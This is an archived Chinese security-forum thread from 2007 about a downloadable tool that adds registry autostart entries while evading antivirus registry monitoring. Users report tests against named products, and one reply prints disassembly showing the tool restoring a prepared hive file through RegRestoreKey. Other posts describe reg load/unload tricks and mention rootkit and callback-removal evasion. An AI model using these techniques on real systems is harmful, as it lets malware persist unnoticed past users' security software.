邪恶八进制信息安全团队技术讨论组's Archiver

xyzreg 2007-2-26 05:29

[原创]突破主动防御之注册表监控篇(已更新)

文章作者:xyzreg [E.S.T] (www.xyzreg.net)
信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

  目前主动防御的概念已经深入人心,许多杀毒软件、软件防火以及HIPS都具有了注册表监控功能,防止自启动项以及IE相关键值被修改,对防范病毒木马以及流氓软件等恶意程序起到了不小的作用。但是现有的注册表监控并非无懈可击,我们仍然可以绕过注册表监控修改注册表。

  [b]绕过注册表监控的方法不止一种,应根据不同情况灵活运用。 除了本演示程序使用的操作HIVE文件修改注册表的方法,我们还可以写驱动解除注册表监控程序的钩子,或者直接调用CmXXXXX等未导出函数来操作注册表等。[/b]

  测试了卡巴6、瑞星2007、GSS、江民2007等含有注册表监控功能的安全软件,我写的这个演示程序均可以突破他们成功修改注册表。

  本程序仅作科普以及安全警示之用,旨在提高大家安全意识以及选择更好的安全产品。勿将程序中的方法用于非法用途。

[b][color=red]2月27日更新:

  程序已升级,可以突破以前版本不能突破的 SSM(System Safety Monitor )最新版、卡巴6最新版、ZoneAlarm Pro 7、EQSecure、ProSecurity等。 就目前来看,此次增加的特殊方法修改注册表B可以突破除了犀牛(Safe'n'Sec)之外所有的实时拦截类注册表监控程序。[/color][/b]

  当然,仍有方法突破犀牛改注册表的,比如使用非常规进Ring0法进Ring0然后恢复他的SSDT hook。至于360safe之类的注册表修改通知式的非实时注册表监控也有办法绕过。有两大方法,清除Notify回调函数和rootkit技术隐藏注册表。

[attach]5530[/attach]

程序下载地址:http://www.xyzreg.net/BypassRegMon.rar

peter_yu 2007-2-26 09:32

在我的vista下无反映,与系统不兼容?

mgf 2007-2-26 11:24

在vista下装载驱动已经很难了,一个原因是用户权限不够,另一个是没有数字认证的驱动vista拒绝装载,所以这个程序在你的VISTA下应该不不兼容.听说VISTA有伪造数字认证的漏洞,有时间去看看.

cncxz 2007-2-26 13:07

工具是好工具,不知LZ能不能把突破注册表监控的具体技术细节写出来?这样大家能更好学习..也不会让某些人觉得在炫耀了...

gyzy 2007-2-26 13:08

呵呵,楼主这个可是好东西啊,修改注册表里的启动项你的杀毒软件没有反应,意味着这是多么可怕 .....赶紧IDA一下.....

xyzreg 2007-2-26 15:09

[quote][b]引用第3楼[i]cncxz[/i]于[i]2007-02-26 13:07[/i]发表的[/b]:
工具是好工具,不知LZ能不能把突破注册表监控的具体技术细节写出来?这样大家能更好学习..也不会让某些人觉得在炫耀了...[/quote]
程序没加强壳没加花,很好逆向分析,IDA一下,这个程序的思路就出来~

xyzreg 2007-2-26 15:11

[quote][b]引用第1楼[i]peter_yu[/i]于[i]2007-02-26 09:32[/i]发表的[/b]:
在我的vista下无反映,与系统不兼容?[/quote]
没在Vista下测试

安全 2007-2-27 00:57

卡巴

[img]http://bbs.2dai.com/attachments/month_0702/2007-02-26_23-51-30_OU8Vima821Ii.jpg[/img]

[img]http://bbs.2dai.com/attachments/month_0702/2007-02-26_23-52-34_yu4xChyeZdJz.jpg[/img]

[img]http://bbs.2dai.com/attachments/month_0702/2007-02-27_00-03-23_nuJJNEYVc6VZ.jpg[/img]

[img]http://bbs.2dai.com/attachments/month_0702/2007-02-27_00-04-22_OkWEpcJaCbfJ.jpg[/img]

xyzreg 2007-2-27 06:35

[quote][b]引用第13楼[i]vxk[/i]于[i]2007-02-27 03:34[/i]发表的[/b]:
haha~[/quote]
嘿嘿,可以突破SSM最新版了~ 人民需要科普,haha~  不过那天群里提的高级方法就先不科普了,呵呵~

xyzreg 2007-2-27 07:10

[quote][b]引用第12楼[i]安全[/i]于[i]2007-02-27 00:57[/i]发表的[/b]:
卡巴

.......[/quote]
请问你的卡巴6具体版本号是多少? 我在KIS6.0.0.300 以及 KIS 6.0.2.614均可以绕过~

你用我刚更新过的程序再试试看。

tsgxyy 2007-2-27 09:03

那我顺便请教一个问题.

如何突破WFP或饶过,和标题无管.

qsg1982 2007-2-27 09:17

KAV 6.0.307通过~~  顺便请教一下LZ 如何具体实现清除Notify回调函数和rootkit技术隐藏注册表~~

谢谢~

王八看绿豆 2007-2-27 10:49

呵呵```厉害```

有机会下来测试下。


真不知道这是个好消息还是坏消息!

asm 2007-2-27 11:13

[quote][b]引用第4楼[i]gyzy[/i]于[i]2007-02-26 13:08[/i]发表的[/b]:
呵呵,楼主这个可是好东西啊,修改注册表里的启动项你的杀毒软件没有反应,意味着这是多么可怕 .....赶紧IDA一下.....[/quote]


[s:39] 这个丢源代码是最好不过了,

gyzy即使要逆向,也要花太多的时间,是吧?

ybjh 2007-2-27 15:12

曾经试过用修改HIVE的办法可以过SSM,不过我用的是SSM免费版,不知道正式版的有没有对此限制

aiscii 2007-2-27 16:47

这跟reg load your.hiv好像没什么区别吧?

冰邪 2007-2-27 20:47

微软只要在OS上加个数字标准认证
可以屏蔽掉很多非法软件
更别说能运行得起来了
看看VISTA吧有空

bujiwu 2007-2-27 21:11

厉害!
楼主如果能把源码发布出来就更好了!

云飞天 2007-2-27 21:34

还是希望楼主把源代码发表一下。

云飞天 2007-2-27 22:17

我下载完毕,去操作一下。我的kav6.0提示
2007-2-27 21:55:21  进程 C:\Documents and Settings\NEW\Local Settings\Temp\Rar$EX00.522\BypassRegMon2.exe (PID: 2724): 试图 执行可疑操作 被拒绝.

xyzreg 2007-2-27 23:49

[quote][b]引用第19楼[i]云飞天[/i]于[i]2007-02-27 22:17[/i]发表的[/b]:
我下载完毕,去操作一下。我的kav6.0提示
2007-2-27 21:55:21   进程 C:Documents and SettingsNEWLocal SettingsTempRar$EX00.522BypassRegMon2.exe (PID: 2724): 试图 执行可疑操作 被拒绝.[/quote]
你选哪个按扭时被拒绝的?试试 特殊方法B。如果还有反应请告知你的卡巴版本号。谢谢。

安全 2007-2-27 23:50

[quote][b]引用第9楼[i]xyzreg[/i]于[i]2007-02-27 07:10[/i]发表的[/b]:

请问你的卡巴6具体版本号是多少? 我在KIS6.0.0.300 以及 KIS 6.0.2.614均可以绕过~

你用我刚更新过的程序再试试看。[/quote]

是KAV6.0.2.671


[img]http://bbs.2dai.com/attachments/month_0702/2007-02-27_23-14-10_4Q5xA9b5RjUl.jpg[/img]

这是ssm免费版的报告

注册表:\\HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\      添加                      2007-2-27 PM 11:13:36

注册表:\\HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer\Run\      添加      特殊方法      test.exe           2007-2-27 PM 11:13:36


[b][color=orangered]添加被阻止[/color][/b]

月无光 2007-2-28 00:01

请教:
用RegSaveKey产生一个HIVE文件,
如何修改操作这个HIVE文件,
才可以使RegRestoreKey返回成功呢???

xyzreg 2007-2-28 01:39

[quote][b]引用第21楼[i]安全[/i]于[i]2007-02-27 23:50[/i]发表的[/b]:
是KAV6.0.2.671
.......[/quote]
可以突破SSM最新版。你说的SSM免费版不是实时拦截型监控,这类注册表修改通知式的非实时注册表监控也有办法绕过。有两大方法,清除Notify回调函数和rootkit技术隐藏注册表。

xyzreg 2007-2-28 01:40

[quote][b]引用第22楼[i]月无光[/i]于[i]2007-02-28 00:01[/i]发表的[/b]:
请教:
用RegSaveKey产生一个HIVE文件,
如何修改操作这个HIVE文件,
才可以使RegRestoreKey返回成功呢???[/quote]
可以直接RegRestoreKey~

月无光 2007-2-28 08:14

[quote][b]引用第24楼[i]xyzreg[/i]于[i]2007-02-28 01:40[/i]发表的[/b]:

可以直接RegRestoreKey~[/quote]
我测试的情况是这样的:
用RegSaveKey导出一个HIVE文件,
用记事本打开,即使不做任何修改,此时再Ctrl+S保存一下,
再调用RegRestoreKey,就无法成功了。
xyzreg兄的意思是不是不要RegSaveKey,
而直接用RegRestoreKey恢复一个HIVE文件来ByPass???

xyzreg 2007-2-28 08:17

[quote][b]引用第25楼[i]月无光[/i]于[i]2007-02-28 08:14[/i]发表的[/b]:

我测试的情况是这样的:
用RegSaveKey导出一个HIVE文件,
用记事本打开,即使不做任何修改,此时再Ctrl+S保存一下,
再调用RegRestoreKey,就无法成功了。
.......[/quote]
RegRestoreKey重复执行一下就应该成功了~ 嘿嘿

xyzreg 2007-2-28 08:19

[quote][b]引用第21楼[i]安全[/i]于[i]2007-02-27 23:50[/i]发表的[/b]:

是KAV6.0.2.671

.......[/quote]
[b]我刚才用最新版 KAV6.0.2.675测试一下,特殊方法 A 他确实会报。但是我的程序已更新了,增加了 特殊方法改注册表 B,新增的这个就能突破卡巴最新版了,你可以试试~[/b]

aa9518 2007-2-28 10:54

呵呵```厉害```

有机会下来测试下。.。

h4ck3r 2007-2-28 13:20

卡巴来提特征码了 [s:34]  [s:34]

xzchina 2007-2-28 13:29

对最新的360卫士没有效果。

gbbbgbbb 2007-2-28 13:40

厉害.......看来以后的杀防软件有得头疼了.....嘿嘿.....

月无光 2007-2-28 14:01

[quote][b]引用第30楼[i]xzchina[/i]于[i]2007-02-28 13:29[/i]发表的[/b]:
对最新的360卫士没有效果。[/quote]
360好像不是实时监控注册表吧?

aiscii 2007-2-28 15:23

Set wmiServices = GetObject("winmgmts:root/default")
Set wmiSink = WScript.CreateObject("WbemScripting.SWbemSink", "SINK_")
wmiServices.ExecNotificationQueryAsync wmiSink, _
   "SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND " & _
   "KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion'"
WScript.Echo "Listening..." & vbCrLf
While(1)
   WScript.Sleep 1000
Wend
Sub SINK_OnObjectReady(wmiObject, wmiAsyncContext)
   WScript.Echo "Received Registry Change Event" & vbCrLf & _
            "------------------------------" & vbCrLf & _
            wmiObject.GetObjectText_()
End Sub

安全 2007-2-28 18:41

[color=royalblue][quote][b]引用第23楼[i]xyzreg[/i]于[i]2007-02-28 01:39[/i]发表的[/b]:

可以突破SSM最新版。你说的SSM免费版不是实时拦截型监控,这类注册表修改通知式的非实时注册表监控也有办法绕过。有两大方法,清除Notify回调函数和rootkit技术隐藏注册表。[/quote][/color]

SSM商业版的注册表监控,是监控到试图访问或修改,弹出提示框询问是否允许..........

免费版的注册表监控非常简陋,我设置了阻止修改,当试图修改时,SSM不弹提示框,而是直接阻止修改并模块报警

[quote][b]引用第27楼[i]xyzreg[/i]于[i]2007-02-28 08:19[/i]发表的[/b]:

[color=royalblue][b]我刚才用最新版 KAV6.0.2.675测试一下,特殊方法 A 他确实会报。但是我的程序已更新了,增加了 特殊方法改注册表 B,新增的这个就能突破卡巴最新版了,你可以试试~[/b][/quote][/color]

是的,特殊方法A不能过KAV6.02671,特殊方法B可以过了
只是在清除修改时候,会监控到

gzy21cn 2007-2-28 19:17

矛与盾的较量!
技术就是这样提高的!

xzchina 2007-2-28 20:37

[quote][b]引用第32楼[i]月无光[/i]于[i]2007-02-28 14:01[/i]发表的[/b]:

360好像不是实时监控注册表吧?[/quote]

我的截图:

http://wisdombird.bokee.com/inc/bx.jpg

xyzreg 2007-2-28 21:27

[quote][b]引用第30楼[i]xzchina[/i]于[i]2007-02-28 13:29[/i]发表的[/b]:
对最新的360卫士没有效果。[/quote]
[b]我主贴里不是写了么:
至于360safe之类的注册表修改通知式的非实时注册表监控也有办法绕过。有两大方法,清除Notify回调函数和rootkit技术隐藏注册表。 [/b]

luojijie 2007-2-28 23:24

特殊方法修改 B可突破卡巴斯基安全套装6.0  楼主发表的东西是好东西,可以开源学习下吗

net-owl 2007-3-1 16:56

楼主,运行的时候,我的ZA提示用户是否同意修改。
还有我忘了几楼的朋友说vista驱动的问题,现在vista对硬件厂商有认证。你可以去你硬件厂商的主页看看有没有相关的vista版驱动

xyzreg 2007-3-2 23:35

[quote][b]引用第40楼[i]net-owl[/i]于[i]2007-03-01 16:56[/i]发表的[/b]:
楼主,运行的时候,我的ZA提示用户是否同意修改。
还有我忘了几楼的朋友说vista驱动的问题,现在vista对硬件厂商有认证。你可以去你硬件厂商的主页看看有没有相关的vista版驱动[/quote]
特殊方法B可以绕过ZA最新版。

shenyingj 2007-3-2 23:49

特殊方法B是不是使用了不监控的路径
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies
和配合C:\XYZ2.HIV
来实现?

小源 2007-3-5 11:36

SSM通不过,我用的是正版的SSM。

caiker 2007-3-8 19:48

.HIV是不是和.Reg的意思差不多?
.HIV里备份的是注册表项,然后用RegRestoreKey恢复?
反了下汇编貌似是这个意思,呵呵

asm 2007-3-23 21:53

   这个程序的源没什么,只要是这个程序当你点"利用特殊方法修改注册表"的时候,这个程序会释放出一个c:\\xyz2.hiv文件,然后将SeRestorePrivilege事件作为参数传递给一个函数,这个函数负责把程序提升到system。之后对注册表进行操作,最后作者del xyz2.hiv了

真正的精华,是xyz2.hiv。



.text:004014D3 loc_4014D3:            
.text:004014D3         cmp   ax, 401h ;用户是否点了“退出”按扭
.text:004014D7         jnz   short loc_4014FD ;点了就退
.text:004014D7
.text:004014D9         call  sub_401090 ;如果没点,就利用特殊方法修改注册表
.text:004014D9
.text:004014DE         mov   eax, [esp+4]
.text:004014E2         push  20h
.text:004014E4         push  offset s_S   ; "提示"
.text:004014E9         push  offset s_TIVSAPUB___CJ ; "\n特殊方法修改注册表自启动项 B

...\r\n\r\n如"...
.text:004014EE         push  eax
.text:004014EF         call  ds:MessageBoxA
.text:004014F5         mov   eax, 1
.text:004014FA         retn  10h
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

下面才是此程序的精华部分:

.text:00401090 sub_401090   proc near        ; CODE XREF: .text:004014D9p
.text:00401090
.text:00401090 var_14     = dword ptr -14h
.text:00401090 phkResult    = dword ptr -8
.text:00401090 NumberOfBytesWritten= dword ptr -4
.text:00401090
.text:00401090         sub   esp, 8 ;分配内存
.text:00401093         push  ebx ;这里不是参数,而是保存寄存器
.text:00401094         push  esi
.text:00401095         push  edi
.text:00401096         push  offset Type   ; "xyz2"
.text:0040109B         push  84h       ; lpName
.text:004010A0         push  0        ; hModule
.text:004010A2         call  ds:FindResourceA ; 查找xyz2资源
.text:004010A8         mov   esi, eax
.text:004010AA         push  esi       ; hResInfo
.text:004010AB         push  0        ; hModule
.text:004010AD         call  ds:SizeofResource ; 获取资源长度
.text:004010B3         push  esi       ; hResInfo
.text:004010B4         push  0        ; hModule
.text:004010B6         mov   edi, eax
.text:004010B8         call  ds:LoadResource ; 装载资源
.text:004010BE         push  0        ; hTemplateFile
.text:004010C0         push  0        ; dwFlagsAndAttributes
.text:004010C2         push  2        ; dwCreationDisposition
.text:004010C4         push  0        ; lpSecurityAttributes
.text:004010C6         push  0        ; dwShareMode
.text:004010C8         push  40000000h    ; dwDesiredAccess
.text:004010CD         push  offset FileName ; "c:\\xyz2.hiv"
.text:004010D2         mov   ebx, eax
.text:004010D4         call  ds:CreateFileA ; 打开文件准备把资源写入
.text:004010DA         push  0        ; lpOverlapped
.text:004010DC         mov   esi, eax
.text:004010DE         lea   eax, [esp+18h+NumberOfBytesWritten]
.text:004010E2         push  eax       ; lpNumberOfBytesWritten
.text:004010E3         push  edi       ; nNumberOfBytesToWrite
.text:004010E4         push  ebx       ; hResData
.text:004010E5         call  ds:LockResource ; 锁定资源
.text:004010EB         push  eax       ; lpBuffer
.text:004010EC         push  esi       ; hFile
.text:004010ED         call  ds:WriteFile  ; 创建一个C:\xyz2.hiv文件
.text:004010F3         mov   ebx, ds:CloseHandle
.text:004010F9         push  esi       ; hObject
.text:004010FA         call  ebx ; CloseHandle
.text:004010FC         push  offset Name   ; "SeRestorePrivilege"
.text:00401101         call  sub_401000   ; SeRestorePrivilege事件作为参数传递给一个                            ;函数
.text:00401101
.text:00401106         add   esp, 4     ; 把空间还给系统
.text:00401109         lea   ecx, [esp+14h+phkResult]
.text:0040110D         push  ecx       ; phkResult
.text:0040110E         push  offset SubKey  ;                   ;"SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
.text:00401113         push  80000002h    ; hKey
.text:00401118         call  ds:RegOpenKeyA ; sub_401000函数已经帮我们把一切都摆平了,                            ;可以设置了
.text:0040111E         mov   edi, ds:RegRestoreKeyA
.text:00401124         xor   esi, esi
.text:00401126         jmp   short loc_401130

.text:0040115C         pop   ebx
.text:0040115D         add   esp, 8 ;典型的函数自己恢复堆栈
.text:00401160         retn
.text:00401160
.text:00401160 sub_401090   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

将SeRestorePrivilege事件传递之后,程序做了如下动作,典型的调用OpenProcessToken等函数获取并且修改令牌来提升权限:

.text:00401000 TokenHandle   = dword ptr -1Ch
.text:00401000 Luid      = _LUID ptr -18h
.text:00401000 NewState    = _TOKEN_PRIVILEGES ptr -10h
.text:00401000 lpName     = dword ptr 4
.text:00401000
.text:00401000         sub   esp, 1Ch
.text:00401003         lea   eax, [esp+1Ch+TokenHandle]
.text:00401006         push  eax       ; TokenHandle
.text:00401007         push  28h       ; DesiredAccess
.text:00401009         call  ds:GetCurrentProcess
.text:0040100F         push  eax       ; ProcessHandle
.text:00401010         call  ds:OpenProcessToken ; Open the access token associated with a process
.text:00401016         test  eax, eax
.text:00401018         jz   short loc_401084
.text:00401018
.text:0040101A         mov   edx, [esp+1Ch+lpName]
.text:0040101E         lea   ecx, [esp+1Ch+Luid]
.text:00401022         push  ecx       ; lpLuid
.text:00401023         push  edx       ; lpName
.text:00401024         push  0        ; lpSystemName
.text:00401026         call  ds:LookupPrivilegeValueA
.text:0040102C         test  eax, eax
.text:0040102E         jnz   short loc_40103E
.text:0040102E
.text:00401030         mov   eax, [esp+1Ch+TokenHandle]
.text:00401033         push  eax       ; hObject
.text:00401034         call  ds:CloseHandle
.text:0040103A         add   esp, 1Ch
.text:0040103D         retn
.text:0040103D
.text:0040103E ; ---------------------------------------------------------------------------
.text:0040103E
.text:0040103E loc_40103E:               ; CODE XREF: sub_401000+2Ej
.text:0040103E         mov   ecx, [esp+1Ch+Luid.LowPart]
.text:00401042         mov   edx, [esp+1Ch+Luid.HighPart]
.text:00401046         push  0        ; ReturnLength
.text:00401048         push  0        ; PreviousState
.text:0040104A         push  10h       ; BufferLength
.text:0040104C         lea   eax, [esp+28h+NewState]
.text:00401050         push  eax       ; NewState
.text:00401051         mov   [esp+2Ch+NewState.Privileges.Luid.LowPart], ecx
.text:00401055         mov   ecx, [esp+2Ch+TokenHandle]
.text:00401059         push  0        ; DisableAllPrivileges
.text:0040105B         push  ecx       ; TokenHandle
.text:0040105C         mov   [esp+34h+NewState.PrivilegeCount], 1
.text:00401064         mov   [esp+34h+NewState.Privileges.Luid.HighPart], edx
.text:00401068         mov   [esp+34h+NewState.Privileges.Attributes], 2
.text:00401070         call  ds:AdjustTokenPrivileges ; Enable/disable privileges in the specified access token
.text:00401076         test  eax, eax
.text:00401078         jnz   short loc_401084
.text:00401078
.text:0040107A         mov   edx, [esp+1Ch+TokenHandle]
.text:0040107D         push  edx       ; hObject
.text:0040107E         call  ds:CloseHandle
.text:0040107E
.text:00401084
.text:00401084 loc_401084:               ; CODE XREF: sub_401000+18j
.text:00401084                     ; sub_401000+78j
.text:00401084         add   esp, 1Ch
.text:00401087         retn
.text:00401087
.text:00401087 sub_401000   endp

caiker 2007-3-24 10:46

其实最主要的就是使用RegRestoreKeyA了,过咔吧就是它,哈哈

takdick 2007-3-24 16:12

我在自己的機子執行RegSaveKey(鍵值是HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce)而生成的*.HIV文件拿到其他機子上用RegRestoreKey導入該文件,這樣會不會有問題?
另外,有沒有函數可修改*.HIV文件?如我要在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ 新增一啟動路徑後再導回註冊表,該如何做?
我試過用記事本打開生成後的*.HIV文件發現是一堆亂碼,不是一般的文本格式.
煩請指教,謝謝.

ligz 2007-3-25 21:27

命令行下用Reg Save 导出hive,程序中RegRestoreKey替换即可。
回takdick的问题:可以在命令行下用Reg Load 将hive文件挂载到注册表中,即可修改,改完再调用Reg unload

summer198191 2007-4-5 09:04

我试了下。我的 微点主动防御 不报警,重起后微点也没提示,不过这个软件说是主动防御软件!
难道是忽悠???还是别的什么的!!!

jaber 2007-4-10 17:20

呵呵 注册表的变动就报警 也太不智能了吧 你看下注册表变更日志里有记录没?

页: [1] 2
© 1999-2008 EvilOctal Security Team